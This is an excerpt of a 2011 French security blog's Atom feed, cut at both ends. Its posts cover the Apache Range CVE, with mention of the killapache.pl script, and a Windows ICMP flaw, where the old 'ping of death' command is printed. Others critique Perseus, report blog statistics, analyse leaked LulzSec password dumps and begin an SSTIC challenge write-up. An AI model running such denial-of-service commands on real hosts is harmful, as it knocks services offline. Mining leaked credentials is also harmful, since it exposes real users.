href="http://www.gossamer-threads.com/lists/engine?do=post_view_flat;post=401638;page=1;sb=post_latest_reply;so=ASC;mh=25;list=apache"&gt;ML apache&lt;/a&gt;.&lt;br /&gt;Ceci dit, je suis surpris qu'on ne parle pas de IIS ou nginx, alors que ceux-ci savent utiliser Range et la compression.&amp;nbsp;Peut-être un autre CVE, je n'ai pas de IIS ou nginx pour tester. Quelqu'un? :-)&lt;br /&gt;&lt;br /&gt;&lt;strike&gt;EDIT: Le correctif apache, &lt;a href="http://www.apache.org/dist/httpd/Announcement2.2.html"&gt;http://www.apache.org/dist/httpd/Announcement2.2.html &lt;/a&gt;&lt;/strike&gt;Edit (bis): il ne s'agit pas du correctif attendu, merci à "Anonyme" de l'avoir signalé. Edit (ter): le lien est correct, la mise à jour est annoncée, c'est bien &lt;a href="http://www.apache.org/dist/httpd/Announcement2.2.html"&gt;le 2.2.20 qui corrige ce CVE&lt;/a&gt;.&lt;br /&gt;&lt;i&gt;EDIT secondaire: testé rapidement sur un lighttpd et un nginx, conf par défaut après un apt-get debian. Les deux semblent non vulnérables, j'ai plus de CPU consommé par le script killapache.pl que par le webserver :-)&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-3063267454684294361?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/3063267454684294361/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/08/apache-range-header-et-cve-2011-3192.html#comment-form' title='8 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3063267454684294361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3063267454684294361'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/08/apache-range-header-et-cve-2011-3192.html' title='Apache range header et CVE-2011-3192'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-TM9XAmiXqmE/TlZevUEPCFI/AAAAAAAAAGM/qjmwg4SwitA/s72-c/CVE-2011-3192-a.png' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-995716385356004975</id><published>2011-08-11T14:53:00.000+02:00</published><updated>2011-08-11T14:53:45.934+02:00</updated><title type='text'>Old school ping of death still alive?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le dernier patch tuesday de microsoft a été bien fourni (19 références). L'une d'elle (CVE-2011-1871) a ravivé quelques souvenirs en me rappelant la fameuse ligne de commande suivante:&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;C:\&amp;gt; ping -l 65510 A.B.C.D&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Pour mémoire, il s'agit du &lt;a href="http://insecure.org/sploits/ping-o-death.html"&gt;ping of death&lt;/a&gt; qui a du faire enrager plus d'un internaute \o/ C'était l'époque des chans IRC, du Smurf et des DDOS sur ligne modem 28800 :-)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Le &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1871"&gt;CVE-2011-1871&lt;/a&gt;&amp;nbsp;indique en effet qu'il est possible de crasher une machine windows à l'aide de messages&amp;nbsp;&lt;a href="http://fr.wikipedia.org/wiki/Internet_Control_Message_Protocol"&gt;ICMP&lt;/a&gt;. Microsoft ajoute: "&lt;a href="http://www.microsoft.com/france/technet/security/Bulletin/MS11-064.mspx"&gt;aucun facteur atténuant pour cette vulnérabilité&lt;/a&gt;" (aller en milieu de page et dérouler le CVE-2011-1871). Ce qui ressemble très fortement au ping of death: de manière distante et avec de l'ICMP il est possible de faire tomber une machine.&lt;br /&gt;Aucun détail technique n'est connu, il est seulement fait mention d'une succession de messages ICMP (et non pas un unique paquet). Peu de risques de voir ces paquets sur internet, la menace a été remontée de manière "&lt;a href="http://www.microsoft.com/security/msrc/report/disclosure.aspx"&gt;responsable&lt;/a&gt;" selon les termes de microsoft, c'est à dire qu'il faut comprendre que la faille n'a pas été publiée publiquement quelque part sur internet. Néanmoins et même si aucune vulnérabilité n'est connue, il est conseillé de mettre à jour (comme toujours).&lt;br /&gt;&lt;br /&gt;[ D'ailleurs, si quelqu'un a des détails techniques sur cette faille ou un PoC, mon e-mail est valide ]&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-995716385356004975?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/995716385356004975/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/08/old-school-ping-of-death-still-alive.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/995716385356004975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/995716385356004975'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/08/old-school-ping-of-death-still-alive.html' title='Old school ping of death still alive?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-3303594010004717348</id><published>2011-07-13T12:03:00.002+02:00</published><updated>2011-07-13T17:01:28.722+02:00</updated><title type='text'>Lib perseus: pas convaincu</title><content type='html'>Etant présent aux &lt;a href="http://2011.rmll.info/"&gt;RMLL&lt;/a&gt;, je suis allé écouter la conférence d'Eric Filiol, qui présentait son projet &lt;a href="http://2011.rmll.info/Librairie-Perseus-les-enjeux-d-une-alternative-au-chiffrement"&gt;Perseus: Les enjeux d'une alternative au chiffrement&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Son idée de départ repose sur un postulat simple concernant la confidentialité des échanges sur internet. Nous savons qu'il est très simple (et très tentant pour les états) d'intercepter les données. La solution classique, le chiffrement, ne satisfait pas Eric Filiol, pour plusieurs raisons:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le chiffrement se détecte trop facilement, et de fait pose un doute légitime sur l'émetteur du flux pour celui qui détecte le chiffrement.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Le chiffrement n'est donc pas &lt;a href="http://transec/"&gt;TRANSEC&lt;/a&gt;. Transec impose une probabilité faible de détection.&lt;/li&gt;&lt;li&gt;Les états peuvent avoir une raison légitime de pouvoir lire les échanges réseaux, la cryptographie les en empêche. [Note: je ne suis pas forcément d'accord sur ce point :-) ]&lt;/li&gt;&lt;li&gt;L'absence de chiffrement, émettre en clair, n'est évidemment pas acceptable.&lt;/li&gt;&lt;/ul&gt;La solution d'Eric Filiol à ces problèmes est le développement de la &lt;a href="http://www.esiea-recherche.eu/perseus.html"&gt;lib Perseus&lt;/a&gt;. Cette bibliothèque est une bibliothèque de chiffrement sans en être une (!).&lt;br /&gt;Cette bibliothèque permet donc:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;De modifier les données afin qu'un filtre statique ne détecte pas des motifs comme des mots-clés.&lt;/li&gt;&lt;li&gt;De faire en sorte que le flux ressemble à un autre type de flux; ainsi une image jpeg "&lt;i&gt;chiffrée&lt;/i&gt;" (camouflée?) par Perseus peut avoir une signature le faisant ressemble à un pdf ou du HTML, ceci afin de contourner les filtres automatiques. Bien entendu ceci est rendu possible en ajoutant du "bruit" maîtrisé dans le message.&lt;/li&gt;&lt;li&gt;D'être facilement cassable, qu'il suffise de quelques jours/semaines afin qu'une personne motivée (un état, donc) puisse décoder et lire les échanges. L'exemple pris est celui d'un journaliste qui poste ses messages depuis un pays dictatorial qui ne sera capable de lire ses messages qu'une fois le journaliste rentré chez lui.&lt;/li&gt;&lt;/ul&gt;Cette bibliothèque repose sur plusieurs fondamentaux mathématiques exposés dans sa conf, je ne reviendrais pas dessus. Perseus peut de plus être employé sur des périphériques hardwares, et plusieurs groupes industriels/gouvernementaux sont prêts à financer son développement. Je laisse le côté hardware qui n'est pas discriminant pour moi.&lt;br /&gt;&lt;br /&gt;Ceci posé, je ne suis absolument pas convaincu par la lib Perseus pour plusieurs raisons.&lt;br /&gt;&lt;br /&gt;La première concerne son essence même. C'est du chiffrement sans en être. D'un côté c'en est puisque le message est camouflé, mais d'un autre ce n'en est pas puisque les états ont 'librement' accès aux données. Statut pour le moins curieux. Statut pour moi ennuyeux, car promouvoir le fait que ce n'est pas du chiffrement démotivera sans doute des &lt;i&gt;peer reviews&lt;/i&gt; à étudier le protocole. Un &lt;a href="http://cvo-lab.blogspot.com/2011/06/libperseus-challenge-reset.html"&gt;challenge&lt;/a&gt; (&lt;a href="http://news0ft.blogspot.com/2011/06/challenge-fail.html"&gt;bancal&lt;/a&gt;) a été lancé, mais ce challenge ne prouvera pas la solidité du concept. &lt;br /&gt;Enfin, la techno a un an, ce qui est très jeune. Pour exemple, une techno comme le SHA3 est étudiée depuis bien plus longtemps, et les concepteurs eux-mêmes déconseillent actuellement son usage.&lt;br /&gt;&lt;br /&gt;La seconde concerne l'aspect TRANSEC. Je ne vois pas en quoi c'est un problème. Il est attendu et normal selon moi que des échanges chiffrés aient lieu entre différents points du réseau. Un filtre automatique se fera sans doute leurrer par perseus mais une personne surveillée sera détectée sans problème. Il est indiqué qu'il faut augmenter la taille des données pour pouvoir le camoufler en autre chose. Certes. Toutefois, libre à moi de chiffrer en AES, puis de le passer en base64. L'entropie ne sera plus celle de l'AES! Une seconde méthode, plus simple serait de choisir 256 sujet, 256 verbes et 256 compléments. Chaque triplet d'octet serait transformé en sujet-verbe-complément. Les filtres auto se feront leurrer. Je peux aussi faire un système balise ouvrante, mot, balise fermante pour faire ressembler mon AES à du HTML, etc etc.. Dire que TRANSEC est un prérequis peut s'accomplir facilement si on prend en compte le grossissement du fichier d'origine.&lt;br /&gt;&lt;br /&gt;Enfin, la troisième concerne le projet. Dire qu'on utilise un système 'vaguement chiffrant' qui laisse par construction aux états le moyen de connaître le contenu ne m'inspire pas confiance. &lt;br /&gt;&lt;br /&gt;Je vais donc continuer à utiliser de la crypto, ssh, SSL/TLS, GPG etc.. et ne pas installer Perseus car je n'y vois pas les avantages, ni comprend la finalité.&lt;br /&gt;&lt;br /&gt;EDIT: quelques liens ajoutés et précisions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-3303594010004717348?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/3303594010004717348/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/07/lib-perseus-pas-convaincu.html#comment-form' title='7 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3303594010004717348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3303594010004717348'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/07/lib-perseus-pas-convaincu.html' title='Lib perseus: pas convaincu'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-6966734784052140922</id><published>2011-07-11T15:54:00.000+02:00</published><updated>2011-07-11T15:54:55.639+02:00</updated><title type='text'>RMLL 2011</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-3_Ybi6qiHEk/ThsAheniqcI/AAAAAAAAAFA/346E2Tr-R04/s1600/rmll.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://4.bp.blogspot.com/-3_Ybi6qiHEk/ThsAheniqcI/AAAAAAAAAFA/346E2Tr-R04/s320/rmll.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Merci à l'organisation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-6966734784052140922?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/6966734784052140922/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/07/rmll-2011.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6966734784052140922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6966734784052140922'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/07/rmll-2011.html' title='RMLL 2011'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-3_Ybi6qiHEk/ThsAheniqcI/AAAAAAAAAFA/346E2Tr-R04/s72-c/rmll.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-8439553610979543771</id><published>2011-07-01T16:00:00.000+02:00</published><updated>2011-07-01T16:00:01.917+02:00</updated><title type='text'>Deux ans de blogs et quelques stats</title><content type='html'>Deux ans déjà que ce blog à ouvert ses portes. Le &lt;a href="http://exploitability.blogspot.com/2009/06/premier-message.html"&gt;premier message&lt;/a&gt; était engageant :-) Quelques statistiques depuis ce premier message... &lt;br /&gt;&lt;br /&gt;En deux ans, j'ai publié 56 messages, pour une moyenne aux alentours de 2 messages par mois, ce qui est le but que je m'étais fixé à l'origine. Vous êtes entre 30 et 80 à me rendre visite chaque jour, je vous en remercie. Cela me fait arriver à environ 1200-1600 visiteurs par mois.&lt;br /&gt;&lt;br /&gt;J'ai eu trois énormes pics de visites. Le premier, dû à &lt;a href="http://sid.rstack.org/blog/index.php/425-arp-cache-poisoning-by-dummies"&gt;un article de sid&lt;/a&gt;, suite à mon article sur la &lt;a href="http://exploitability.blogspot.com/2010/07/tcpip-security-is-boring.html"&gt;sécurité TCP/IP&lt;/a&gt;. Des visiteurs continuent de venir depuis ce lien. Les deux autres pics ont été très éphémères et dûs à &lt;a href="http://www.twitter.com/"&gt;twitter&lt;/a&gt;. Le premier tweet est de &lt;a href="http://twitter.com/#%21/Bluetouff"&gt;bluetouff&lt;/a&gt; pour mon article parlant du &lt;a href="http://exploitability.blogspot.com/2011/04/google-hadopi-et-neutralite-des.html"&gt;filtrage de google&lt;/a&gt; sur certaines requêtes. Les statistiques m'ont montré plus de 600 requêtes en moins d'une heure (cet homme est &lt;i&gt;très&lt;/i&gt; suivi). Le troisième pic, lui aussi de 600 requêtes en une journée, est encore à accorder à twitter pour ma &lt;a href="http://exploitability.blogspot.com/2011/05/solution-partielle-du-challenge-sstic.html"&gt;solution partielle du challenge SSTIC&lt;/a&gt; twittée par &lt;a href="http://twitter.com/#%21/R00tBSD"&gt;R00tBSD&lt;/a&gt; et retwittée une vingtaine de fois. Mais twitter est le règne de l'immédiat, il n'y a pas d'effet durable des liens twitter sur la consultation du blog.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;La fréquentation ce blog provient généralement de requêtes google et de quelques blogs; les requêtes sont généralement bien dans le sujet de ce blog (sécurité, informatique). Je n'ai pas de visibilité sur le flux RSS par contre. &lt;br /&gt;&lt;br /&gt;J'ai pu également voir qu'il y avait du SPAM dans les Referrer. Des URLs complètement farfelues (et publicitaires) en lien source. Peut-être que les spammeurs savent qu'ils touchent plus facilement des admins des sites webs? Enfin ceux qui sont suffisamment curieux pour se demander pourquoi leur site est linké par un site de vente de chaussures russe :-) . Il faudrait peut-être bloguer la dessus?&lt;br /&gt;&lt;br /&gt;J'ai eu aussi une requête très particulière qui cherchait "certificat SSL EdF cassé". Je n'y ai pas prêté particulièrement garde sur le moment. Une semaine après, on apprenait que le &lt;a href="http://www.google.com/search?q=parti+pirate+edf"&gt;parti pirate allemand&lt;/a&gt; "aurait" obtenu une clé d'un site d'Edf. Il est dommage que blogger ne donne pas assez d'informations, l'IP source de la personne qui a faite cette requête une semaine avant m'aurait intéressée :-)&lt;br /&gt;&lt;br /&gt;J'ai reçu le lot de mails classiques (non, je ne pirate pas de compte facebook, même payé pour cela) et je compte bien continuer à bloguer encore cette année.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Merci à vous de me suivre sur ce blog \o/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-8439553610979543771?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/8439553610979543771/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/07/deux-ans-de-blogs-et-quelques-stats.html#comment-form' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8439553610979543771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8439553610979543771'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/07/deux-ans-de-blogs-et-quelques-stats.html' title='Deux ans de blogs et quelques stats'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-8082066908149795458</id><published>2011-06-17T17:11:00.000+02:00</published><updated>2011-06-17T17:11:23.778+02:00</updated><title type='text'>Lulzsec et Anonymous sont dans un Lulzboat...</title><content type='html'>Le groupe qui est à la mode en ce moment s'appelle Lulzsec. Ils ont un &lt;a href="http://twitter.com/#%21/LulzSec"&gt;twitter&lt;/a&gt;, un &lt;a href="http://lulzsecurity.com/"&gt;site web&lt;/a&gt;, et ils font parler d'eux énormément. Ils ont un &lt;a href="http://a1.twimg.com/profile_images/1341989664/somehwat-mad-completely-mad-u-mad-MADAD.jpg"&gt;logo amusant&lt;/a&gt; et sont très fort pour faire du buzz autour de leurs activités.&lt;br /&gt;&lt;br /&gt;Ils ont actuellement trois faits d'armes: ils tiennent à se démarquer d'&lt;a href="http://en.wikipedia.org/wiki/Anonymous_%28group%29"&gt;Anonymous&lt;/a&gt;, ils &lt;a href="http://lulzsecurity.com/releases/"&gt;piratent des sites&lt;/a&gt; et diffusent &lt;a href="http://thepiratebay.org/user/LulzSec"&gt;des listes de mot de passe&lt;/a&gt;. Les sites grands publics parlent d'eux (&lt;a href="http://www.google.com/search?q=lulzsec+site%3Alemonde.fr"&gt;lemonde.fr&lt;/a&gt; par exemple), mais je vais plus m'intéresser à lulzsec sous l'angle de la sécurité informatique, je laisse le buzz et les lulz aux sites généralistes.&lt;br /&gt;&lt;br /&gt;1/ Les piratages de sites.&lt;br /&gt;Si on consulte la page &lt;a href="http://lulzsecurity.com/releases/"&gt;release&lt;/a&gt; de Lulzsec, on constate que leurs piratages ne concernent que des sites webs. L'attaque se fait en deux temps: généralement une faille est découverte, puis une base de données est récupérée, lulzsec cherche la base contenant les couples login/pass ou adresse mail/pass puis les diffuses. Lulzsec essaie et communique beaucoup sur le fait qu'un très grand nombre d'utilisateurs réemploient systématiquement le même mot de passe sur tous leurs comptes. Lorsque des mots de passe de messagerie sont trouvés valides, alors lulzsec dumpe les mails de cet utilisateur, cf: " &lt;i&gt;One of them, used his Infragard password for his personal gmail, and the gmail of the company he owns.&lt;/i&gt;" etc, etc.. Il y a aussi le fichier de conf apache de Nintendo vraisemblablement dû à une LFI, comme pour bethesda: "&lt;i&gt;From our LFI entry point, we acquired command execution via local file inclusion of enemy fleet Apache vessel. We then found that the HTTPD had SSH auth keys, which let our ship SSH into other servers.&lt;/i&gt;".&lt;br /&gt;On arrive donc à la double conclusion double: lulzsec a quand même pas mal de lulzcanno^W talents pour détourner l'usage des serveurs et réaliser des SQL injection et ces sites webs sont tout de même mal tenus.&lt;br /&gt;&lt;br /&gt;2/ Les bases de données adresses / pass&lt;br /&gt;J'ai réalisé ma petite étude sur deux bases de données qui ont été dumpées. Celle de 62000 mots de passe et celle de pron.com.&lt;br /&gt;Pour pron.com, on a 18 utilisateurs qui réutilisent leur adresse mail comme mot de passe:&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ awk '$1 == $3 {print $1}' pron.txt | wc -l&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;18&lt;/span&gt;&lt;br /&gt;Et l'inévitable top ten, un peu surprenant pour une fois puisqu'il contient un grand nombre de mot de passe numériques:&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 41 123123&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 49 123&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 52 1234567890&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 62 password&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 64 1234567&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 71 12345678&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 74 1234&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 110 12345&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 211 123456789&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 669 123456&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La base de données de 62000 mots de passe est un peu différent, toujours autant de 123456 et assimilé, mais avec password, romance, et mistery dans le top ten. Cette base de données est un peu plus surprenante. Attention, ce fichier doit être la concaténation de plusieurs bases, puisque le format est différent au cours du parcours du fichier. Il y a beaucoup d'analyses sur ces mots disponibles sur internet, je conseille ceux que ça intéresse de faire des recherches sur les autres blogs en parlant comme &lt;a href="http://www.tux-planet.fr/lulzsec-devoile-62-000-mots-de-passe/"&gt;tux-planet&lt;/a&gt; par exemple.&lt;br /&gt;Je pense qu'il est inutile aux petits malins de se précipiter pour aller voler du compte mail. La base a été releasé le 16 juin avec annonce sur twitter, ils ont  180000 followers, ce qui fait que même si un trentième de followers a  testé une dizaine de comptes, alors ils ont tous été vérifiés..&lt;br /&gt;&lt;br /&gt;3/ They did it for teh lulz, et puis?&lt;br /&gt;Comme ils l'annoncent ils l'ont fait pour le lulz. &lt;br /&gt;Pour les sites web, on hésite entre se joindre à lulzsec pour rigoler un bon coup ou être consterné. Leurs attaques sont dues vraisemblablement à de l'injection. Lorsque l'on regarde le top ten de l'OWASP, on trouve en première position l'&lt;a href="https://www.owasp.org/index.php/Top_10_2010-A1"&gt;injection&lt;/a&gt;... Comment se fait-il qu'en 2011 une société comme Sony puisse se faire attraper par des injections successives sur un grand nombre de leurs sites vitrines?&lt;br /&gt;Certes Lulzsec est fort, mais le sont ils tant que ça? Mis à part les skills en injection web? (en com', c'est sûr, ils sont fort :) ) Ce que lulzsec a fait chez Sony, c'est à dire annoncer une succession d'attaques, on pourrait le &lt;a href="http://bluetouff.com/2010/09/11/scandale-sites-gouvernementaux-negligence-caracterisee/"&gt;faire ailleurs&lt;/a&gt; aussi, il n'y aurait au final pas grande gloire. Qui faut il donc réellement blâmer?&lt;br /&gt;Cela me fait penser au débat "full disclosure ou pas". Lulzsec doit il dumper à tour de bras des bases de données et defacer des sites en faisant du buzz? ou au contraire faire des annonces responsible disclosure qui ne seront finalement jamais prises en compte? La prise de conscience est violente, il y a du dégât collatéral&amp;nbsp; pour les utilisateurs qui se feront voler leur comptes (je crois peu aux chutes de cours de bourse qui seraient un drame). Vu de l'extérieur, ils sont amusants mais ils doivent faire grincer pas mal de dents :/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-8082066908149795458?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/8082066908149795458/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/06/lulzsec-et-anonymous-sont-dans-un.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8082066908149795458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8082066908149795458'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/06/lulzsec-et-anonymous-sont-dans-un.html' title='Lulzsec et Anonymous sont dans un Lulzboat...'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-8328086387972882587</id><published>2011-05-25T23:59:00.357+02:00</published><updated>2011-05-25T23:59:00.378+02:00</updated><title type='text'>Solution partielle du challenge SSTIC 2011 -- Si loin, si proche.</title><content type='html'>Le &lt;a href="http://www.sstic.org/2011/news/"&gt;SSTIC&lt;/a&gt; propose tous les ans un &lt;a href="http://communaute.sstic.org/ChallengeSSTIC2011"&gt;challenge&lt;/a&gt; à résoudre. Celui de cette année était particulièrement intéressant. Commençons déjà par féliciter les gagnants, bravo à eux. Cette année, le challenge consistait à analyser une vidéo afin de trouver une adresse mail. Le challenge finit le 25 mai, je propose ma solution incomplète, blogger devrait le publier à 23h59 ce 25 mai.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;0/ Slow start&lt;/u&gt;&lt;br /&gt;Avant de démarrer, un petit brainstorming et des recherches. Qui dit vidéo dit immédiatement format de vidéo (conteneur/contenu), DRM, stéganographie et métadonnées. Une recherche google avec en mot clés les noms des auteurs et ces technologies (et VLC/ video etc..) ne montre pas de papiers antérieurs pouvant servir. Sous linux, la commande file indique que le fichier en question est une video type mp4 (ce qui semble confirmer le DRM):&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;ISO Media, MPEG v4 system, version 2&lt;/span&gt;&lt;/div&gt;Une &lt;a href="http://exploitability.blogspot.com/2011/03/video-bizarre-autant-quetrange.html"&gt;lecture via VLC de ce fichier&lt;/a&gt; ne donne pas la solution, un &lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;strings challenge | grep @sstic.org&lt;/span&gt;&lt;/span&gt; non plus :-)&lt;br 